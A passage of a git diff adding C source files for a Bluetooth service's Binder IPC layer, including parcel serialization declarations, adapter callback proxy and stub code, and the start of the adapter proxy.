(*length)); + return AParcel_readParcelableArray(parcel, (void*)*attribute, + AParcel_parcelableAttributeAllocator, + AParcel_readParcelableAttribute); +} diff --git a/service/ipc/binder/parcel/parcel.h b/service/ipc/binder/parcel/parcel.h new file mode 100644 index 0000000000000000000000000000000000000000..a562cfd2ba593f675364a11d007bf1d4e577686c --- /dev/null +++ b/service/ipc/binder/parcel/parcel.h @@ -0,0 +1,57 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BLUETOOTH_PARCEL_H__ +#define __BLUETOOTH_PARCEL_H__ + +#include "binder_utils.h" + +#include "bluetooth.h" +#include "bt_gatts.h" +#include "bt_hfp_hf.h" +#include "bt_le_advertiser.h" +#include "bt_le_scan.h" +#include "bt_uuid.h" + +binder_status_t AParcel_writeAddress(AParcel* parcel, bt_address_t* addr); +binder_status_t AParcel_readAddress(const AParcel* parcel, bt_address_t* addr); +binder_status_t AParcel_writeAddressArray(AParcel* parcel, bt_address_t* addr, int32_t length); +binder_status_t AParcel_readAddressArray(const AParcel* parcel, bt_address_t** addr, int32_t* length, bt_allocator_t allocator); + +binder_status_t AParcel_writeUuid(AParcel* parcel, bt_uuid_t* uuid); +binder_status_t AParcel_readUuid(const AParcel* parcel, bt_uuid_t* uuid); +binder_status_t AParcel_writeUuidArray(AParcel* parcel, bt_uuid_t* uuid, int32_t length); +binder_status_t AParcel_readUuidArray(const AParcel* parcel, bt_uuid_t* uuid, int32_t* length); + +binder_status_t AParcel_writeBleConnectParam(AParcel* parcel, ble_connect_params_t* param); +binder_status_t AParcel_readBleConnectParam(const AParcel* parcel, ble_connect_params_t* param); + +binder_status_t AParcel_writeCall(AParcel* parcel, hfp_current_call_t* call); +binder_status_t AParcel_readCall(const AParcel* parcel, hfp_current_call_t* call); + +binder_status_t AParcel_writeCallArray(AParcel* parcel, hfp_current_call_t* calls, int32_t length); +binder_status_t AParcel_readCallArray(const AParcel* parcel, hfp_current_call_t** calls, int32_t* length, bt_allocator_t allocator); + +binder_status_t AParcel_writeBleAdvParam(AParcel* parcel, ble_adv_params_t* param); +binder_status_t AParcel_readBleAdvParam(const AParcel* parcel, ble_adv_params_t* param); + +binder_status_t AParcel_writeBleScanResult(AParcel* parcel, ble_scan_result_t* result); +binder_status_t AParcel_readBleScanResult(const AParcel* parcel, ble_scan_result_t** outResult); + +binder_status_t AParcel_writeServiceTable(AParcel* parcel, gatt_attr_db_t* attribute, int32_t length); +binder_status_t AParcel_readServiceTable(const AParcel* parcel, gatt_attr_db_t** attribute, int32_t* length); + +#endif \ No newline at end of file diff --git a/service/ipc/binder/src/adapter_callbacks_proxy.c b/service/ipc/binder/src/adapter_callbacks_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..02161156643ba0659a0fa31a0e06bff634ab44c1 --- /dev/null +++ b/service/ipc/binder/src/adapter_callbacks_proxy.c @@ -0,0 +1,380 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <string.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "adapter_callbacks_stub.h" +#include "adapter_internel.h" +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "bluetooth.h" +#include "parcel.h" + +#include "utils/log.h" + +static void BpBtAdapterCallbacks_onAdapterStateChanged(void* context, bt_adapter_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_ADAPTER_STATE_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onDiscoveryStateChanged(void* context, bt_discovery_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_DISCOVERY_STATE_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onDiscoveryResult(void* context, bt_discovery_result_t* remote) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, &remote->addr); + if (stat != STATUS_OK) + return; + + int len = strlen(remote->name); + stat = AParcel_writeString(parcelIn, len ? remote->name : NULL, len ? len : -1); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, remote->cod); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeByte(parcelIn, remote->rssi); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_DISCOVERY_RESULT, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onScanModeChanged(void* context, bt_scan_mode_t mode) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, mode); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_SCAN_MODE_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onDeviceNameChanged(void* context, const char* device_name) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, device_name, strlen(device_name)); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_DEVICE_NAME_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onPairRequest(void* context, bt_address_t* addr) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_PAIR_REQUEST, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onPairDisplay(void* context, bt_address_t* addr, bt_transport_t transport, bt_pair_type_t type, uint32_t pass_key) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, type); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, pass_key); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_PAIR_DISPLAY, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onConnectionStateChanged(void* context, bt_address_t* addr, bt_transport_t transport, connection_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_CONNECTION_STATE_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onBondStateChanged(void* context, bt_address_t* addr, bt_transport_t transport, bond_state_t state) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, transport); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, state); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_BOND_STATE_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onRemoteNameChanged(void* context, bt_address_t* addr, const char* name) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, name, strlen(name)); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_REMOTE_NAME_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onRemoteAliasChanged(void* context, bt_address_t* addr, const char* alias) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeString(parcelIn, alias, strlen(alias)); + if (stat != STATUS_OK) + return; + stat = AIBinder_transact(binder, ICBKS_REMOTE_ALIAS_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onRemoteCodChanged(void* context, bt_address_t* addr, uint32_t cod) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUint32(parcelIn, cod); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_REMOTE_COD_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static void BpBtAdapterCallbacks_onRemoteUuidsChanged(void* context, bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = context; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeAddress(parcelIn, addr); + if (stat != STATUS_OK) + return; + + stat = AParcel_writeUuidArray(parcelIn, uuids, (int32_t)size); + if (stat != STATUS_OK) + return; + + stat = AIBinder_transact(binder, ICBKS_REMOTE_UUIDS_CHANGED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) { + BT_LOGE("%s transact error:%d", __func__, stat); + return; + } +} + +static const adapter_callbacks_t static_adapter_cbks = { + BpBtAdapterCallbacks_onAdapterStateChanged, + BpBtAdapterCallbacks_onDiscoveryStateChanged, + BpBtAdapterCallbacks_onDiscoveryResult, + BpBtAdapterCallbacks_onScanModeChanged, + BpBtAdapterCallbacks_onDeviceNameChanged, + BpBtAdapterCallbacks_onPairRequest, + BpBtAdapterCallbacks_onPairDisplay, + BpBtAdapterCallbacks_onConnectionStateChanged, + BpBtAdapterCallbacks_onBondStateChanged, + BpBtAdapterCallbacks_onRemoteNameChanged, + BpBtAdapterCallbacks_onRemoteAliasChanged, + BpBtAdapterCallbacks_onRemoteCodChanged, + BpBtAdapterCallbacks_onRemoteUuidsChanged, +}; + +const adapter_callbacks_t* BpBtAdapterCallbacks_getStatic(void) +{ + return &static_adapter_cbks; +} diff --git a/service/ipc/binder/src/adapter_callbacks_stub.c b/service/ipc/binder/src/adapter_callbacks_stub.c new file mode 100644 index 0000000000000000000000000000000000000000..ea9526db5b704ca968ace79095bf7c6224bbaac2 --- /dev/null +++ b/service/ipc/binder/src/adapter_callbacks_stub.c @@ -0,0 +1,323 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "adapter_callbacks_stub.h" +#include "adapter_internel.h" +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "binder_utils.h" +#include "parcel.h" + +#include "bluetooth.h" +#include "utils/log.h" + +#define BT_ADAPTER_CALLBACK_DESC "BluetoothAdapterCallback" +static const AIBinder_Class* kIBtAdapterCallbacks_Class = NULL; + +static void* IBtAdapterCallbacks_Class_onCreate(void* arg) +{ + return arg; +} + +static void IBtAdapterCallbacks_Class_onDestroy(void* userData) +{ +} + +static binder_status_t IBtAdapterCallbacks_Class_onTransact(AIBinder* binder, transaction_code_t code, const AParcel* in, AParcel* out) +{ + binder_status_t stat = STATUS_FAILED_TRANSACTION; + IBtAdapterCallbacks* cbks = AIBinder_getUserData(binder); + + switch (code) { + case ICBKS_ADAPTER_STATE_CHANGED: { + uint32_t state; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_adapter_state_changed(cbks, state); + break; + } + case ICBKS_DISCOVERY_STATE_CHANGED: { + uint32_t state; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_discovery_state_changed(cbks, state); + break; + } + case ICBKS_DISCOVERY_RESULT: { + bt_discovery_result_t remote = { 0 }; + char* remoteName = NULL; + + stat = AParcel_readAddress(in, &remote.addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &remoteName, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + if (remoteName) + snprintf(remote.name, sizeof(remote.name), "%s", remoteName); + free(remoteName); + + stat = AParcel_readUint32(in, &remote.cod); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readByte(in, &remote.rssi); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_discovery_result(cbks, &remote); + break; + } + case ICBKS_SCAN_MODE_CHANGED: { + bt_scan_mode_t mode; + + stat = AParcel_readUint32(in, &mode); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_scan_mode_changed(cbks, mode); + break; + } + case ICBKS_DEVICE_NAME_CHANGED: { + char* deviceName = NULL; + + stat = AParcel_readString(in, &deviceName, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_device_name_changed(cbks, deviceName); + if (deviceName) + free(deviceName); + break; + } + case ICBKS_PAIR_REQUEST: { + bt_address_t addr; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_pair_request(cbks, &addr); + break; + } + case ICBKS_PAIR_DISPLAY: { + bt_address_t addr; + bt_transport_t transport; + bt_pair_type_t type; + uint32_t pass_key; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &type); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &pass_key); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_pair_display(cbks, &addr, transport, type, pass_key); + break; + } + case ICBKS_CONNECTION_STATE_CHANGED: { + bt_address_t addr; + bt_transport_t transport; + connection_state_t state; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_connection_state_changed(cbks, &addr, transport, state); + break; + } + case ICBKS_BOND_STATE_CHANGED: { + bt_address_t addr; + bt_transport_t transport; + bond_state_t state; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &transport); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &state); + if (stat != STATUS_OK) + return stat; + cbks->callbacks->on_bond_state_changed(cbks, &addr, transport, state); + break; + } + case ICBKS_REMOTE_NAME_CHANGED: { + bt_address_t addr; + char* remoteName = NULL; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &remoteName, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_remote_name_changed(cbks, &addr, remoteName); + free(remoteName); + break; + } + case ICBKS_REMOTE_ALIAS_CHANGED: { + bt_address_t addr; + char* alias = NULL; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readString(in, &alias, AParcelUtils_stringAllocator); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_remote_alias_changed(cbks, &addr, alias); + free(alias); + break; + } + case ICBKS_REMOTE_COD_CHANGED: { + bt_address_t addr; + uint32_t cod; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUint32(in, &cod); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_remote_cod_changed(cbks, &addr, cod); + break; + } + case ICBKS_REMOTE_UUIDS_CHANGED: { + bt_address_t addr; + bt_uuid_t* uuids = NULL; + int32_t uuidSize = 0; + + stat = AParcel_readAddress(in, &addr); + if (stat != STATUS_OK) + return stat; + + stat = AParcel_readUuidArray(in, (bt_uuid_t*)&uuids, &uuidSize); + if (stat != STATUS_OK) + return stat; + + cbks->callbacks->on_remote_uuids_changed(cbks, &addr, uuids, (uint16_t)uuidSize); + free(uuids); + break; + } + default: + break; + } + + return stat; +} + +AIBinder* BtAdapterCallbacks_getBinder(IBtAdapterCallbacks* cbks) +{ + AIBinder* binder = NULL; + + if (cbks->WeakBinder != NULL) { + binder = AIBinder_Weak_promote(cbks->WeakBinder); + } + + if (binder == NULL) { + binder = AIBinder_new(cbks->clazz, (void*)cbks); + if (cbks->WeakBinder != NULL) { + AIBinder_Weak_delete(cbks->WeakBinder); + } + + cbks->WeakBinder = AIBinder_Weak_new(binder); + } + + return binder; +} + +binder_status_t BtAdapterCallbacks_associateClass(AIBinder* binder) +{ + if (!kIBtAdapterCallbacks_Class) { + kIBtAdapterCallbacks_Class = AIBinder_Class_define(BT_ADAPTER_CALLBACK_DESC, IBtAdapterCallbacks_Class_onCreate, + IBtAdapterCallbacks_Class_onDestroy, IBtAdapterCallbacks_Class_onTransact); + } + + return AIBinder_associateClass(binder, kIBtAdapterCallbacks_Class); +} + +IBtAdapterCallbacks* BtAdapterCallbacks_new(const adapter_callbacks_t* callbacks) +{ + AIBinder_Class* clazz; + AIBinder* binder; + IBtAdapterCallbacks* cbks = malloc(sizeof(IBtAdapterCallbacks)); + + clazz = AIBinder_Class_define(BT_ADAPTER_CALLBACK_DESC, IBtAdapterCallbacks_Class_onCreate, + IBtAdapterCallbacks_Class_onDestroy, IBtAdapterCallbacks_Class_onTransact); + + cbks->clazz = clazz; + cbks->WeakBinder = NULL; + cbks->callbacks = callbacks; + + binder = BtAdapterCallbacks_getBinder(cbks); + AIBinder_decStrong(binder); + + return cbks; +} + +void BtAdapterCallbacks_delete(IBtAdapterCallbacks* cbks) +{ + assert(cbks); + + if (cbks->WeakBinder) + AIBinder_Weak_delete(cbks->WeakBinder); + + free(cbks); +} diff --git a/service/ipc/binder/src/adapter_proxy.c b/service/ipc/binder/src/adapter_proxy.c new file mode 100644 index 0000000000000000000000000000000000000000..46c2c83411633f66d1280ee5cec979823940f1b1 --- /dev/null +++ b/service/ipc/binder/src/adapter_proxy.c @@ -0,0 +1,1773 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdio.h> +#include <uchar.h> + +#include <android/binder_manager.h> + +#include "bluetooth.h" +#include "bt_adapter.h" + +#include "adapter_proxy.h" +#include "adapter_stub.h" +#include "parcel.h" +#include "utils/log.h" + +void* BpBtAdapter_registerCallback(BpBtAdapter* bpBinder, AIBinder* cbksBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + uint32_t cookie; + + if (!bpBinder || !bpBinder->binder) + return NULL; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_writeStrongBinder(parcelIn, cbksBinder); + if (stat != STATUS_OK) + return NULL; + + stat = AIBinder_transact(binder, IBTADAPTER_REGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return NULL; + + stat = AParcel_readUint32(parcelOut, &cookie); + if (stat != STATUS_OK) + return NULL; + + return (void*)cookie; +} + +bool BpBtAdapter_unRegisterCallback(BpBtAdapter* bpBinder, void* cookie) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + bool ret; + + if (!bpBinder || !bpBinder->binder) + return false; + + AIBinder* binder = bpBinder->binder; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AParcel_writeUint32(parcelIn, (uint32_t)cookie); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IBTADAPTER_UNREGISTER_CALLBACK, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_status_t BpBtAdapter_enable(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_ENABLE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_disable(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_DISABLE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_enableLe(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_ENABLE_LE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_disableLe(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_DISABLE_LE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_adapter_state_t BpBtAdapter_getState(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bt_adapter_state_t state; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_ADAPTER_STATE_OFF; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_STATE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_ADAPTER_STATE_OFF; + + stat = AParcel_readUint32(parcelOut, &state); + if (stat != STATUS_OK) + return BT_ADAPTER_STATE_OFF; + + return state; +} + +bool BpBtAdapter_isLeEnabled(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bool ret; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return false; + + stat = AIBinder_transact(binder, IBTADAPTER_IS_LE_ENABLED, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return false; + + stat = AParcel_readBool(parcelOut, &ret); + if (stat != STATUS_OK) + return false; + + return ret; +} + +bt_device_type_t BpBtAdapter_getType(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + bt_device_type_t type; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_DEVICE_TYPE_UNKNOW; + + stat = AIBinder_transact(binder, IBTADAPTER_GET_TYPE, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_DEVICE_TYPE_UNKNOW; + + stat = AParcel_readUint32(parcelOut, &type); + if (stat != STATUS_OK) + return BT_DEVICE_TYPE_UNKNOW; + + return type; +} + +bt_status_t BpBtAdapter_setDiscoveryFilter(BpBtAdapter* bpBinder) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder = bpBinder->binder; + uint32_t status; + + stat = AIBinder_prepareTransaction(binder, &parcelIn); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AIBinder_transact(binder, IBTADAPTER_SET_DISCOVERY_FILTER, &parcelIn, &parcelOut, 0 /*flags*/); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + stat = AParcel_readUint32(parcelOut, &status); + if (stat != STATUS_OK) + return BT_STATUS_IPC_ERROR; + + return status; +} + +bt_status_t BpBtAdapter_startDiscovery(BpBtAdapter* bpBinder, uint32_t timeout) +{ + binder_status_t stat = STATUS_OK; + AParcel *parcelIn, *parcelOut; + AIBinder* binder 